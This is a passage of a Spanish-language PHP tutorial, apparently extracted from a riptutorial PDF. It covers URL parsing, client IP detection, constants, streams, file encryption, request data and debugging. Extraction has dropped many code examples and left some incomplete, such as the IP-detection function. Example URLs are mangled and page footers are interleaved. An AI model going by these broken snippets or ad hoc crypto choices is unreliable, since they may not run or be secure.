Usando parse_url ()
parse_url (): esta función analiza una URL y devuelve una matriz asociativa que
contiene cualquiera de los diversos componentes de la URL que están presentes.
$url = parse_url('http://example.com/project/controller/action/param1/param2');
Array
(
[scheme] => http
[host] => example.com
[path] => /project/controller/action/param1/param2
)
$url = parse_url('http://example.com/project/controller/action/param1/param2');
$url['sections'] = explode('/', $url['path']);
Array
(
[scheme] => http
[host] => example.com
[path] => /project/controller/action/param1/param2
[sections] => Array
(
[0] =>
[1] => project
[2] => controller
[3] => action
[4] => param1
[5] => param2
)
$last = end($url['sections']);
https://riptutorial.com/es/home 110
Si la URL contiene GET vars, también puede recuperarlos.
$url = parse_url('http://example.com?var1=value1&var2=value2');
Array
(
[scheme] => http
[host] => example.com
[query] => var1=value1&var2=value2
)
Si desea desglosar las variables de consulta, puede usar parse_str () de la siguiente manera:
$url = parse_url('http://example.com?var1=value1&var2=value2');
parse_str($url['query'], $parts);
Array
(
[var1] => value1
[var2] => value2
)
Utilizando explotar ()
explode (): devuelve una matriz de cadenas, cada una de las cuales es una
subcadena de cadena formada dividiéndola en los límites formados por el delimitador
de cadena.
$url = "http://example.com/project/controller/action/param1/param2";
$parts = explode('/', $url);
Array
(
[0] => http:
[1] =>
[2] => example.com
[3] => project
[4] => controller
[5] => action
[6] => param1
[7] => param2
)
$last = end($parts);
// Output: param2
También puede navegar dentro de la matriz utilizando sizeof () en combinación con un operador
matemático como este:
https://riptutorial.com/es/home 111
echo $parts[sizeof($parts)-2];
// Output: param1
Usando basename ()
basename (): dada una cadena que contiene la ruta a un archivo o directorio, esta
función devolverá el componente de nombre final.
$url = "http://example.com/project/controller/action/param1/param2";
$parts = basename($url);
// Output: param2
Si su URL tiene más cosas y lo que necesita es el nombre de directorio que contiene el archivo,
puede usarlo con dirname () de la siguiente manera:
$url = "http://example.com/project/controller/action/param1/param2/index.php";
$parts = basename(dirname($url));
// Output: param2
https://riptutorial.com/es/home 112
Capítulo 21: Cómo detectar la dirección IP del
cliente
Examples
Uso correcto de HTTP_X_FORWARDED_FOR
A la luz de las últimas vulnerabilidades de httpoxy , hay otra variable, que es ampliamente mal
utilizada.
HTTP_X_FORWARDED_FOR se usa a menudo para detectar la dirección IP del cliente, pero sin ninguna
verificación adicional, esto puede llevar a problemas de seguridad, especialmente cuando esta IP
se usa más adelante para la autenticación o en consultas SQL sin saneamiento.
Así que aquí hay un ejemplo de la función escrita en PHP, cómo detectar la dirección IP de un
cliente, si sabe que ese cliente puede estar detrás de un proxy y sabe que se puede confiar en
este proxy. Si no conoces ningún proxy de confianza, puedes usar REMOTE_ADDR
function get_client_ip()
{
// Nothing to do without any reliable information
if (!isset($_SERVER['REMOTE_ADDR'])) {
return NULL;
}
if (in_array($_SERVER['REMOTE_ADDR'], $trusted_proxies)) {
// Header can contain multiple IP-s of proxies that are passed through.
// Only the IP added by the last proxy (last IP in the list) can be trusted.
$client_ip = trim(end(explode(",", $_SERVER[$proxy_header])));
https://riptutorial.com/es/home 113
} else {
// Validation failed - beat the guy who configured the proxy or
// the guy who created the trusted proxy list?
// TODO: some error handling to notify about the need of punishment
}
}
}
print get_client_ip();
https://riptutorial.com/es/home 114
Capítulo 22: Compilar extensiones de PHP
Examples
Compilando en linux
Para compilar una extensión de PHP en un entorno Linux típico, hay algunos requisitos previos:
Generalmente hay dos formas de compilar una extensión de PHP. Puede compilar estáticamente
la extensión en el binario de PHP, o compilarla como un módulo compartido cargado por su
binario de PHP en el inicio. Los módulos compartidos son más probables ya que le permiten
agregar o eliminar extensiones sin reconstruir todo el binario de PHP. Este ejemplo se centra en
la opción compartida.
Si instaló PHP a través de su administrador de paquetes ( apt-get install , yum install , etc.)
necesitará instalar el paquete -dev para PHP, que incluirá los archivos de encabezado PHP y el
script phpize necesarios para que funcione el entorno de compilación . El paquete podría llamarse
algo así como php5-dev o php7-dev , pero asegúrese de usar su administrador de paquetes para
buscar el nombre apropiado usando los repositorios de su distro. Pueden diferir.
Si compiló PHP desde la fuente, lo más probable es que los archivos de encabezado ya existan
en su sistema ( generalmente en /usr/include o /usr/local/include ).
El make install paso normalmente proporcionará la ruta de instalación para usted que se ha
copiado la extensión. Esto suele estar en /usr/lib/ , por ejemplo, podría ser algo como
/usr/lib/php5/20131226/yaml.so . Pero esto depende de su configuración de PHP (es decir, --with-
prefix ) y la versión específica de la API. El número de API se incluye en la ruta para mantener
https://riptutorial.com/es/home 115
las extensiones creadas para diferentes versiones de API en ubicaciones separadas.
Para una extensión Zend, debe proporcionar la ruta completa al archivo de objeto compartido. Sin
embargo, para las extensiones PHP normales, esta ruta se deriva de la directiva extension_dir en
su configuración cargada, o del entorno $PATH durante la configuración inicial.
https://riptutorial.com/es/home 116
Capítulo 23: Constantes
Sintaxis
• define (cadena $ nombre, valor mezclado de $ [, bool $ case_insensitive = false])
• const CONSTANT_NAME = VALUE;
Observaciones
Las constantes se utilizan para almacenar los valores que no se deben cambiar más adelante.
También se utilizan a menudo para almacenar los parámetros de configuración, especialmente
aquellos que definen el entorno (desarrollo / producción).
Las constantes tienen tipos como variables pero no todos los tipos se pueden usar para inicializar
una constante. Los objetos y los recursos no se pueden utilizar como valores para constantes en
absoluto. Las matrices se pueden usar como constantes a partir de PHP 5.6
Algunos nombres constantes están reservados por PHP. Estos incluyen true , false , null así
como muchas constantes específicas del módulo.
Examples
Comprobando si se define constante
Simple cheque
Para verificar si la constante está definida use la función defined . Tenga en cuenta que a esta
función no le importa el valor de la constante, solo le importa si la constante existe o no. Incluso si
el valor de la constante es null o false la función seguirá siendo true .
<?php
define("GOOD", false);
if (defined("GOOD")) {
print "GOOD is defined" ; // prints "GOOD is defined"
if (GOOD) {
print "GOOD is true" ; // does not print anything, since GOOD is false
}
}
if (!defined("AWESOME")) {
define("AWESOME", true); // awesome was not defined. Now we have defined it
}
https://riptutorial.com/es/home 117
Tenga en cuenta que la constante se vuelve "visible" en su código solo después de la línea
donde lo ha definido:
<?php
if (defined("GOOD")) {
print "GOOD is defined"; // doesn't print anyhting, GOOD is not defined yet.
}
define("GOOD", false);
if (defined("GOOD")) {
print "GOOD is defined"; // prints "GOOD is defined"
}
<?php
$constants = get_defined_constants();
var_dump($constants); // pretty large list
Para obtener solo las constantes que definió su aplicación, llame a la función al principio y al final
de su script (normalmente después del proceso de arranque):
<?php
$constants = get_defined_constants();
define("HELLO", "hello");
define("WORLD", "world");
$new_constants = get_defined_constants();
/*
Output:
array (
'HELLO' => 'hello',
'WORLD' => 'world',
)
*/
Definiendo constantes
https://riptutorial.com/es/home 118
Las constantes se crean utilizando la sentencia const o la función define . La convención es usar
letras MAYÚSCULAS para nombres constantes.
const TAU = PI * 2;
define("EARTH_IS_ROUND", !EARTH_IS_FLAT);
define("MORE_UNKNOWN", UNKNOWN);
define("APP_ENV_UPPERCASE", strtoupper(APP_ENV)); // string manipulation is ok too
// the above example (a function call) does not work with const:
// const TIME = time(); # fails with a fatal error! Not a constant scalar expression
define("MAX_SESSION_TIME_IN_MINUTES", MAX_SESSION_TIME / 60);
Constantes reservadas
Algunos nombres constantes están reservados por PHP y no pueden ser redefinidos. Todos estos
ejemplos fallarán:
Y se emitirá un Aviso:
https://riptutorial.com/es/home 119
Condicional define
Si tiene varios archivos donde puede definir la misma variable (por ejemplo, su configuración
principal, su configuración local), la siguiente sintaxis puede ayudar a evitar conflictos:
const vs define
define es una expresión en tiempo de ejecución, mientras que const un tiempo de compilación
uno.
Por lo tanto, define permite valores dinámicos (es decir, llamadas a funciones, variables, etc.) e
incluso nombres dinámicos y definiciones condicionales. Sin embargo, siempre se está definiendo
en relación con el espacio de nombres raíz.
const es estática (como en permite solo operaciones con otras constantes, escalares o matrices, y
solo un conjunto restringido de ellas, las denominadas expresiones escalares constantes , es
decir, operadores aritméticos, lógicos y de comparación, así como la eliminación de referencias
de matrices), pero son espacios de nombres automáticamente prefijado con el espacio de
nombres actualmente activo.
Constantes de clase
Las constantes se pueden definir dentro de las clases usando una palabra clave const .
class Foo {
const BAR_TYPE = "bar";
<?php
class Logger {
const LEVEL_INFO = 1;
const LEVEL_WARNING = 2;
const LEVEL_ERROR = 3;
https://riptutorial.com/es/home 120
// we can even assign the constant as a default value
public function log($message, $level = self::LEVEL_INFO) {
echo "Message level " . $level . ": " . $message;
}
}
Matrices constantes
Las matrices se pueden usar como constantes simples y constantes de clase desde la versión
PHP 5.6 en adelante:
También desde la versión PHP 7.0 esta funcionalidad fue portada a la función de define para
constantes simples.
print MY_ARRAY[1][1]; // 3
Usando constantes
if (EARTH_IS_FLAT) {
print "Earth is flat";
}
print APP_ENV_UPPERCASE;
https://riptutorial.com/es/home 121
o si no conoce el nombre de la constante de antemano, use la función constant :
if (constant($const1)) {
print "Earth is flat";
}
print constant($const2);
https://riptutorial.com/es/home 122
Capítulo 24: Constantes mágicas
Observaciones
Las constantes mágicas se distinguen por su forma __CONSTANTNAME__ .
Actualmente hay ocho constantes mágicas que cambian dependiendo de dónde se usan. Por
ejemplo, el valor de __LINE__ depende de la línea que se usa en su script.
Estas constantes especiales no distinguen entre mayúsculas y minúsculas y son las siguientes:
Nombre Descripción
Examples
Diferencia entre __FUNCTION__ y __METHOD__
__FUNCTION__ devuelve solo el nombre de la función, mientras que __METHOD__ devuelve el nombre
de la clase junto con el nombre de la función:
https://riptutorial.com/es/home 123
<?php
class trick
{
public function doit()
{
echo __FUNCTION__;
}
__CLASS__ magic constant devuelve el mismo resultado que la función get_class() llamada sin
parámetros y ambas devuelven el nombre de la clase donde se definió (es decir, donde escribió la
función llamada / nombre constante).
<?php
class Definition_Class {
$c = new Actual_Class();
$c->say();
// Output:
// __CLASS__ value: Definition_Class
// get_called_class() value: Actual_Class
// get_class($this) value: Actual_Class
// get_class() value: Definition_Class
Archivo actual
https://riptutorial.com/es/home 124
Puede obtener el nombre del archivo PHP actual (con la ruta absoluta) utilizando la constante
mágica __FILE__ . Esto se utiliza más a menudo como una técnica de registro / depuración.
Directorio actual
Para obtener la ruta absoluta al directorio donde se encuentra el archivo actual, use la constante
mágica __DIR__ .
Para obtener la ruta absoluta al directorio donde se encuentra el archivo actual, use
dirname(__FILE__) .
Obtener el directorio actual a menudo es usado por marcos de PHP para establecer un directorio
base:
$view = 'page';
$viewFile = BASEDIR . '/views/' . $view;
Separadores
El sistema de Windows entiende perfectamente las rutas / in, de modo que
DIRECTORY_SEPARATOR se usa principalmente al analizar rutas.
Además de las constantes mágicas, PHP también agrega algunas constantes fijas para trabajar
con rutas:
• Constante DIRECTORY_SEPARATOR para separar directorios en una ruta. Toma valor / en * nix, y
\ en Windows. El ejemplo con vistas se puede reescribir con:
$view = 'page';
$viewFile = BASEDIR . DIRECTORY_SEPARATOR .'views' . DIRECTORY_SEPARATOR . $view;
• Rara vez se utiliza la constante PATH_SEPARATOR para separar las rutas en la $PATH entorno
$PATH . Es ; en Windows, : de otro modo
https://riptutorial.com/es/home 125
Lea Constantes mágicas en línea: https://riptutorial.com/es/php/topic/1428/constantes-magicas
https://riptutorial.com/es/home 126
Capítulo 25: Contribuyendo al Manual de PHP
Introducción
El Manual de PHP proporciona una referencia funcional y una referencia de idioma junto con
explicaciones de las principales funciones de PHP. El Manual de PHP, a diferencia de la
documentación de muchos idiomas, alienta a los desarrolladores de PHP a que agreguen sus
propios ejemplos y notas a cada página de la documentación. Este tema explica la contribución al
manual de PHP, junto con consejos, trucos y pautas para las mejores prácticas.
Observaciones
Las contribuciones a este tema deben describir principalmente el proceso alrededor de la
contribución al Manual de PHP, p. Ej., Explicar cómo agregar páginas, cómo enviarlas para su
revisión, buscar áreas para contribuir con contenido, etc.
Examples
Mejorar la documentación oficial.
Los cambios en el Manual de PHP deben ser aprobados por personas del Equipo de
Documentación de PHP que tenga Doc Karma . Doc Karma es algo así como reputación, pero
más difícil de conseguir. Este proceso de revisión por pares se asegura de que solo la
información correcta y objetiva entre en el Manual de PHP.
El Manual de PHP está escrito en DocBook, que es un lenguaje de marcado fácil de aprender
para crear libros. Puede parecer un poco complicado a primera vista, pero hay plantillas para
comenzar. Ciertamente no es necesario ser un experto en DocBook para contribuir.
La siguiente es una lista de consejos para aquellos que desean contribuir al manual de PHP:
https://riptutorial.com/es/home 127
• Siga las pautas de estilo del manual . Asegúrese de que las pautas de estilo del manual
siempre se sigan por razones de coherencia.
• Realizar correcciones ortográficas y gramaticales . Asegúrese de que se esté utilizando
la ortografía y la gramática adecuadas; de lo contrario, la información presentada puede ser
más difícil de asimilar y el contenido se verá menos profesional.
• Ser terso en las explicaciones . Evite divagaciones para presentar de manera clara y
concisa la información a los desarrolladores que buscan una referencia rápida.
• Código separado de su salida . Esto proporciona ejemplos de código más limpios y menos
complejos para que los desarrolladores puedan digerirlos.
• Compruebe el orden de la sección de la página . Asegúrese de que todas las secciones
de la página del manual que se está editando estén en el orden correcto. La uniformidad en
el manual hace que sea más fácil leer y buscar información rápidamente.
• Quitar contenido relacionado con PHP 4 . Las menciones específicas a PHP 4 ya no son
relevantes, dada la antigüedad que tiene. Las menciones del mismo deben eliminarse del
manual para evitar que se convulsione con información innecesaria.
• Versión correcta de los archivos . Al crear nuevos archivos en la documentación,
asegúrese de que el ID de revisión del archivo esté configurado en nada, así: <!--
$Revision$ --> .
• Fusionar comentarios útiles en el manual . Algunos comentarios aportan información útil
que el manual podría beneficiarse de tener. Estos deben ser combinados en el contenido de
la página principal.
• No rompas la compilación de documentación . Asegúrese siempre de que el manual de
PHP se compile correctamente antes de confirmar los cambios.
https://riptutorial.com/es/home 128
Capítulo 26: Contribuyendo al PHP Core
Observaciones
PHP es un proyecto de código abierto, y como tal, cualquiera puede contribuir a él. En términos
generales, hay dos formas de contribuir al núcleo de PHP:
• Corrección de errores
• Adiciones de características
Sin embargo, antes de contribuir, es importante comprender cómo se administran y liberan las
versiones de PHP para que las correcciones de errores y las solicitudes de funciones puedan
apuntar a la versión de PHP correcta. Los cambios desarrollados pueden enviarse como una
solicitud de extracción al repositorio de PHP Github . Puede encontrar información útil para los
desarrolladores en la sección "Involúcrese" del sitio PHP.net y el foro #externals .
Para aquellos que buscan comenzar a resolver errores, puede encontrar una lista de informes de
errores en bugs.php.net .
Antes de poder someter a votación las RFC, deben someterse a un período de discusión de al
menos 2 semanas en la lista de correo oficial de PHP. Una vez que este período ha finalizado, y
no hay problemas abiertos con el RFC, se puede mover a votación, que debe durar al menos 1
semana.
https://riptutorial.com/es/home 129
Si un usuario desea revivir un RFC rechazado anteriormente, puede hacerlo solo en una de las
siguientes dos circunstancias:
Las personas que tienen el privilegio de votar serán contribuyentes a PHP en sí (y por lo tanto
tienen cuentas de php.net), o serán representantes de la comunidad de PHP. Estos
representantes son elegidos por aquellos con cuentas de php.net y serán desarrolladores líderes
de proyectos basados en PHP o participantes regulares para discusiones internas.
Al enviar nuevas ideas para una propuesta, casi siempre se requiere que el proponente escriba,
como mínimo, un parche de prueba de concepto. Esto se debe a que sin una implementación, la
sugerencia simplemente se convierte en otra solicitud de función que probablemente no se
cumpla en un futuro cercano.
Puede encontrar una guía detallada de este proceso en la página oficial de Cómo crear un RFC .
Lanzamientos
Las versiones principales de PHP no tienen un ciclo de lanzamiento establecido, por lo que
pueden ser lanzadas a discreción del equipo interno (cuando lo consideren adecuado para un
nuevo lanzamiento importante). Las versiones menores, por otro lado, se lanzan anualmente.
Antes de cada lanzamiento en PHP (mayor, menor o parche), una serie de candidatos de
lanzamiento (RC) están disponibles. PHP no usa un RC como lo hacen otros proyectos (es decir,
si un RC no tiene problemas para encontrarlo, entonces es el próximo lanzamiento final). En su
lugar, los utiliza como una forma de betas finales, donde normalmente se decide un número
determinado de RC antes de que se realice el lanzamiento final.
Versiones
PHP generalmente intenta seguir versiones semánticas siempre que sea posible. Como tal, la
compatibilidad con versiones anteriores (BC) debe mantenerse en versiones secundarias y de
parches del idioma. Las características y los cambios que conservan BC deben dirigirse a
versiones menores (no a versiones de parches). Si una característica o cambio tiene el potencial
de romper BC, entonces deberían apuntar a la siguiente versión importante de PHP ( X .yz).
Cada versión menor de PHP (x. Y .z) tiene dos años de soporte general (denominado "soporte
activo") para todos los tipos de correcciones de errores. Se agrega un año adicional a eso para
soporte de seguridad, donde solo se aplican correcciones relacionadas con la seguridad.
Después de los tres años, el soporte para esa versión de PHP se elimina por completo. Puede
encontrar una lista de las versiones de PHP actualmente soportadas en php.net .
Examples
https://riptutorial.com/es/home 130
Configuración de un entorno de desarrollo básico.
El código fuente de PHP está alojado en GitHub . Para compilar desde la fuente, primero deberá
retirar una copia de trabajo del código.
mkdir /usr/local/src/php-7.0/
cd /usr/local/src/php-7.0/
git clone -b PHP-7.0 https://github.com/php/php-src .
./buildconf
./configure
make
make test
make install
https://riptutorial.com/es/home 131
Capítulo 27: Convenciones de codificación
Examples
Etiquetas PHP
Siempre debe usar etiquetas <?php ?> O etiquetas de eco corto <?= ?> . No se deben usar otras
variaciones (en particular, etiquetas cortas <? ?> ), Ya que los administradores del sistema
generalmente las deshabilitan.
Cuando no se espera que un archivo produzca una salida (¿todo el archivo es código PHP), se
debe omitir la sintaxis ?> Para evitar una salida no intencional, lo que puede causar problemas
cuando un cliente analiza el documento, en particular, algunos navegadores no reconocen el
<!DOCTYPE y active el modo Quirks .
<?php
<?php
class Foo
{
...
}
<ul id="nav">
<?php foreach ($navItems as $navItem): ?>
<li><a href="<?= htmlspecialchars($navItem->url) ?>">
<?= htmlspecialchars($navItem->label) ?>
</a></li>
<?php endforeach; ?>
</ul>
https://riptutorial.com/es/home 132
Capítulo 28: Corrientes
Sintaxis
• Cada flujo tiene un esquema y un objetivo:
• <esquema>: // <objetivo>
Parámetros
Nombre del
Descripción
parámetro
Observaciones
Las transmisiones son esencialmente una transferencia de datos entre un origen y un destino,
parafraseando a Josh Lockhart en su libro Modern PHP.
• un archivo
• un proceso de línea de comando
• una conexión de red
• un archivo ZIP o TAR
• memoria temporal
• entrada / salida estándar
El esquema (origen) es el identificador de la envoltura del flujo. Por ejemplo, para el sistema de
archivos, esto es file:// . El destino es el origen de datos del flujo, por ejemplo, el nombre del
archivo.
https://riptutorial.com/es/home 133
Examples
Registro de una envoltura de flujo
Una envoltura de flujo proporciona un controlador para uno o más esquemas específicos.
El siguiente ejemplo muestra un contenedor de flujo simple que envía solicitudes HTTP PATCH
cuando se cierra el flujo.
class FooWrapper {
// this will be modified by PHP to show the context passed in the current call.
public $context;
// when fopen() with a protocol for this wrapper is called, this method can be implemented
to store data like the host.
public function stream_open(string $path, string $mode, int $options, string &$openedPath)
: bool {
$url = parse_url($path);
if($url === false) return false;
$this->url = $url["host"] . "/" . $url["path"];
return true;
}
https://riptutorial.com/es/home 134
curl_close($curl);
}
}
Este ejemplo solo muestra algunos ejemplos de lo que contendría un contenedor de flujo
genérico. Estos no son todos los métodos disponibles. Puede encontrar una lista completa de los
métodos que se pueden implementar en http://php.net/streamWrapper .
https://riptutorial.com/es/home 135
Capítulo 29: Crea archivos PDF en PHP
Examples
Empezando con PDFlib
Este código requiere que use la biblioteca PDFlib para que funcione correctamente.
<?php
$pdf = pdf_new(); //initialize new object
$length = strlen($document); $filename = "HelloWorld.pdf"; //Finds PDF length and assigns file
name
header("Content-Type:application/pdf");
header("Content-Length:" . $length);
header("Content-Disposition:inline; filename=" . $filename);
https://riptutorial.com/es/home 136
Capítulo 30: Criptografía
Observaciones
/* Base64 Encoded Encryption / $enc_data = base64_encode( openssl_encrypt($data, $method,
$password, true, $iv) ); / Decode and Decrypt */ $dec_data = base64_decode(
openssl_decrypt($enc_data, $method, $password, true, $iv) );
Esta forma de hacer el cifrado y la codificación no funcionaría tal como se presenta a medida que
descifra el código antes de descodificar la base 64.
Examples
Cifrado simétrico
Este ejemplo ilustra el cifrado simétrico AES 256 en modo CBC. Se necesita un vector de
inicialización, así que generamos uno usando una función openssl. La variable $strong se usa
para determinar si la IV generada fue criptográficamente fuerte.
Cifrado
$method = "aes-256-cbc"; // cipher method
$iv_length = openssl_cipher_iv_length($method); // obtain required IV length
$strong = false; // set to false for next line
$iv = openssl_random_pseudo_bytes($iv_length, $strong); // generate initialization vector
Descifrado
https://riptutorial.com/es/home 137
/* Retrieve the IV from the database and the password from a POST request */
$dec_data = openssl_decrypt($enc_data, $method, $pass, true, $iv); // Decrypt
PHP carece de una función incorporada para cifrar y descifrar archivos grandes. openssl_encrypt
se puede usar para cifrar cadenas, pero cargar un archivo enorme en la memoria es una mala
idea.
Así que tenemos que escribir una función de usuario haciendo eso. Este ejemplo utiliza el
algoritmo simétrico AES-128-CBC para cifrar fragmentos más pequeños de un archivo grande y
los escribe en otro archivo.
Cifrar archivos
/**
* Define the number of blocks that should be read from the source file for each chunk.
* For 'AES-128-CBC' each block consist of 16 bytes.
* So if we read 10,000 blocks we load 160kb into memory. You may adjust this value
* to read/write shorter or longer chunks.
*/
define('FILE_ENCRYPTION_BLOCKS', 10000);
/**
* Encrypt the passed file and saves the result in a new file with ".enc" as suffix.
*
* @param string $source Path to file that should be encrypted
* @param string $key The key used for the encryption
* @param string $dest File name where the encryped file should be written to.
* @return string|false Returns the file name that has been created or FALSE if an error
occured
*/
function encryptFile($source, $key, $dest)
{
$key = substr(sha1($key, true), 0, 16);
$iv = openssl_random_pseudo_bytes(16);
$error = false;
if ($fpOut = fopen($dest, 'w')) {
// Put the initialzation vector to the beginning of the file
fwrite($fpOut, $iv);
https://riptutorial.com/es/home 138
if ($fpIn = fopen($source, 'rb')) {
while (!feof($fpIn)) {
$plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS);
$ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key,
OPENSSL_RAW_DATA, $iv);
// Use the first 16 bytes of the ciphertext as the next initialization vector
$iv = substr($ciphertext, 0, 16);
fwrite($fpOut, $ciphertext);
}
fclose($fpIn);
} else {
$error = true;
}
fclose($fpOut);
} else {
$error = true;
}
Descifrar archivos
Para descifrar los archivos que se han cifrado con la función anterior, puede utilizar esta función.
/**
* Dencrypt the passed file and saves the result in a new file, removing the
* last 4 characters from file name.
*
* @param string $source Path to file that should be decrypted
* @param string $key The key used for the decryption (must be the same as for encryption)
* @param string $dest File name where the decryped file should be written to.
* @return string|false Returns the file name that has been created or FALSE if an error
occured
*/
function decryptFile($source, $key, $dest)
{
$key = substr(sha1($key, true), 0, 16);
$error = false;
if ($fpOut = fopen($dest, 'w')) {
if ($fpIn = fopen($source, 'rb')) {
// Get the initialzation vector from the beginning of the file
$iv = fread($fpIn, 16);
while (!feof($fpIn)) {
$ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1)); // we have to
read one block more for decrypting than for encrypting
$plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key,
OPENSSL_RAW_DATA, $iv);
// Use the first 16 bytes of the ciphertext as the next initialization vector
$iv = substr($ciphertext, 0, 16);
fwrite($fpOut, $plaintext);
}
fclose($fpIn);
} else {
$error = true;
}
fclose($fpOut);
https://riptutorial.com/es/home 139
} else {
$error = true;
}
Cómo utilizar
Si necesita un pequeño fragmento de código para ver cómo funciona esto o para probar las
funciones anteriores, consulte el siguiente código.
$fileName = __DIR__.'/testfile.txt';
$key = 'my secret key';
file_put_contents($fileName, 'Hello World, here I am.');
encryptFile($fileName, $key, $fileName . '.enc');
decryptFile($fileName . '.enc', $key, $fileName . '.dec');
https://riptutorial.com/es/home 140
Capítulo 31: Datos de solicitud de lectura
Observaciones
Las solicitudes POST, por otro lado, están destinadas a enviar datos al servidor solo una vez
(formularios de contacto, formularios de inicio de sesión ...). A diferencia de GET, que solo acepta
ASCII, las solicitudes POST también permiten datos binarios, incluidas las cargas de archivos .
Los datos de solicitud deben escaparse dependiendo de cómo se usa en el código, como se
indica aquí y aquí . En esta respuesta se pueden encontrar algunas funciones de escape
diferentes para casos comunes de uso de datos.
Examples
Manejo de errores de carga de archivos
https://riptutorial.com/es/home 141
Una forma básica de verificar los errores, es la siguiente:
<?php
$fileError = $_FILES["FILE_NAME"]["error"]; // where FILE_NAME is the name attribute of the
file input in your form
switch($fileError) {
case UPLOAD_ERR_INI_SIZE:
// Exceeds max size in php.ini
break;
case UPLOAD_ERR_PARTIAL:
// Exceeds max size in html form
break;
case UPLOAD_ERR_NO_FILE:
// No file was uploaded
break;
case UPLOAD_ERR_NO_TMP_DIR:
// No /tmp dir to write to
break;
case UPLOAD_ERR_CANT_WRITE:
// Error writing to disk
break;
default:
// No error was faced! Phew!
break;
}
Los datos de una solicitud POST se almacenan en el superglobal $_POST en forma de una matriz
asociativa.
Tenga en cuenta que el acceso a un elemento de una matriz no existente genera un aviso, por lo
que la existencia siempre debe verificarse con las isset() o empty() , o el operador de fusión nula.
Ejemplo:
7.0
Los datos de una solicitud GET se almacenan en el superglobal $_GET en forma de una matriz
asociativa.
Tenga en cuenta que el acceso a un elemento de una matriz no existente genera un aviso, por lo
https://riptutorial.com/es/home 142
que la existencia siempre debe verificarse con las isset() o empty() , o el operador de fusión nula.
7.0
Generalmente, los datos enviados en una solicitud POST son pares de clave / valor estructurados
con un tipo MIME de application/x-www-form-urlencoded . Sin embargo, muchas aplicaciones,
como los servicios web, requieren que se envíen datos sin procesar, a menudo en formato XML o
JSON. Estos datos se pueden leer usando uno de dos métodos.
php://input es una secuencia que proporciona acceso al cuerpo de solicitud sin formato.
$rawdata = file_get_contents("php://input");
// Let's say we got JSON
$decoded = json_decode($rawdata);
5.6
$HTTP_RAW_POST_DATA es una variable global que contiene los datos POST sin procesar. Solo está
disponible si la directiva always_populate_raw_post_data en php.ini está habilitada.
$rawdata = $HTTP_RAW_POST_DATA;
// Or maybe we get XML
$decoded = simplexml_load_string($rawdata);
Esta variable ha quedado en desuso desde la versión 5.6 de PHP y se eliminó en PHP 7.0.
Tenga en cuenta que ninguno de estos métodos está disponible cuando el tipo de contenido se
establece en multipart/form-data , que se utiliza para cargar archivos.
PHP proporciona soporte para el método HTTP PUT utilizado por algunos clientes para
almacenar archivos en un servidor. Las solicitudes PUT son mucho más simples que una carga
de archivos usando solicitudes POST y se ven algo así:
https://riptutorial.com/es/home 143
En tu código PHP entonces harías algo como esto:
<?php
/* PUT data comes in on the stdin stream */
$putdata = fopen("php://input", "r");
También aquí puede leer interesantes preguntas / respuestas SO sobre recibir archivos a través
de HTTP PUT.
Generalmente, un elemento de formulario HTML enviado a PHP da como resultado un solo valor.
Por ejemplo:
<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo" value="bar"/>
<button type="submit">Submit</button>
</form>
Array
(
[foo] => bar
)
Sin embargo, puede haber casos en los que desee pasar una matriz de valores. Esto se puede
hacer agregando un sufijo similar a PHP al nombre de los elementos HTML:
<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo[]" value="bar"/>
<input type="hidden" name="foo[]" value="baz"/>
<button type="submit">Submit</button>
</form>
https://riptutorial.com/es/home 144
Esto resulta en el siguiente resultado:
Array
(
[foo] => Array
(
[0] => bar
[1] => baz
)
<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo[42]" value="bar"/>
<input type="hidden" name="foo[foo]" value="baz"/>
<button type="submit">Submit</button>
</form>
Array
(
[foo] => Array
(
[42] => bar
[foo] => baz
)
Esta técnica se puede usar para evitar lapsos de post-procesamiento sobre la matriz $_POST ,
haciendo que su código sea más simple y conciso.
https://riptutorial.com/es/home 145
Capítulo 32: Depuración
Examples
Variables de dumping
La función var_dump permite volcar el contenido de una variable (tipo y valor) para la depuración.
Ejemplo:
$array = [3.7, "string", 10, ["hello" => "world"], false, new DateTime()];
var_dump($array);
Salida:
array(6) {
[0]=>
float(3.7)
[1]=>
string(6) "string"
[2]=>
int(10)
[3]=>
array(1) {
["hello"]=>
string(5) "world"
}
[4]=>
bool(false)
[5]=>
object(DateTime)#1 (3) {
["date"]=>
string(26) "2016-07-24 13:51:07.000000"
["timezone_type"]=>
int(3)
["timezone"]=>
string(13) "Europe/Berlin"
}
}
Mostrando errores
Si desea que PHP muestre errores de tiempo de ejecución en la página, debe habilitar
display_errors , ya sea en php.ini o usando la función ini_set .
Puede elegir qué errores mostrar, con la función error_reporting (o ini), que acepta las constantes
E_* , combinadas usando operadores bitwise .
https://riptutorial.com/es/home 146
Ejemplo:
ini_set("display_errors", true);
ini_set("html_errors", false); // Display errors in plain text
error_reporting(E_ALL & ~E_USER_NOTICE); // Display everything except E_USER_NOTICE
Salida de texto sin formato : (el formato HTML difiere entre las implementaciones)
phpinfo ()
Advertencia
Es imperativo que phpinfo solo se use en un entorno de desarrollo. Nunca libere el código
que contiene phpinfo en un entorno de producción
Introducción
Dicho esto, puede ser una herramienta útil para comprender el entorno PHP (SO, configuración,
